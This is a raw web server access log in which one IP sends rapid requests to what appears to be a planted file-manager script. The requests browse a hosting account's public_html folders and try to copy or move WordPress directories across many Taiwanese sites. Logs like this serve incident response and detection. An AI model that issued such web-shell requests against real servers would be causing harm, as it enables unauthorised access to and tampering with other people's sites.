45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw HTTP/1.1" 200 8944 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw HTTP/1.1" 200 8320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw HTTP/1.1" 200 9585 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com-20260912023716 HTTP/1.1" 200 8224 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw HTTP/1.1" 200 8309 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F&option=folder HTTP/1.1" 200 10980 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:53 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com-20260912023741 HTTP/1.1" 200 8287 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:53 -0400] "GET /upgrade/index.php?location=%2Fhome%2F HTTP/1.1" 200 5720 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:53 -0400] "GET /upgrade/?location=%2Fhome%2F&option=folder HTTP/1.1" 200 5733 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:53 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:53 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:53 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:53 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:53 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:53 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:53 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:53 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:53 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:53 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:54 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:54 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bioway88.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bioway88.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:54 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&move=1&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&move=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:54 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bioway88.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bioway88.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:54 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bioway88.com.tw%2Fmember-suspended HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bioway88.com.tw%2Fmember-suspended" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:54 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bioway88.com.tw%2Fpartial-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bioway88.com.tw%2Fpartial-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:54 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bioway88.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bioway88.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:54 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bioway88.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bioway88.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:54 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bioway88.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bioway88.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:54 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bioway88.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bioway88.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:54 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:54 -0400] "GET /thoms.php?copy=bfl.com.tw&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:54 -0400] "GET /thoms.php?copy=bfl.com.tw&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:55 -0400] "GET /thoms.php?copy=bfl.com.tw&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:55 -0400] "GET /thoms.php?copy=bfl.com.tw&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:55 -0400] "GET /thoms.php?copy=bfl.com.tw&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:55 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:55 -0400] "GET /thoms.php?copy=bfl.com.tw&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:55 -0400] "GET /thoms.php?copy=bfl.com.tw&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:55 -0400] "GET /thoms.php?copy=bfl.com.tw&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:55 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:55 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:55 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:55 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:55 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:56 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:56 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:56 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:56 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:56 -0400] "GET /thoms.php?copy=bfl.com.tw&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:56 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:56 -0400] "GET /thoms.php?copy=bfl.com.tw&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:56 -0400] "GET /thoms.php?copy=bfl.com.tw&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:56 -0400] "GET /thoms.php?copy=bfl.com.tw&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:56 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:56 -0400] "GET /thoms.php?copy=bfl.com.tw&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:56 -0400] "GET /thoms.php?copy=bfl.com.tw&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:57 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:57 -0400] "GET /thoms.php?copy=bfl.com.tw&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:57 -0400] "GET /thoms.php?copy=bfl.com.tw&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:57 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bogroup.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bogroup.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:57 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:57 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bogroup.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bogroup.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:57 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bogroup.com.tw%2Flog-seed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bogroup.com.tw%2Flog-seed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:57 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bogroup.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bogroup.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:57 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&move=1&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&move=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:57 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bogroup.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bogroup.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:57 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bogroup.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bogroup.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:57 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bogroup.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bogroup.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:58 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bogroup.com.tw%2Fcatalog-build HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bogroup.com.tw%2Fcatalog-build" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:58 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:58 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bossini.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:58 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
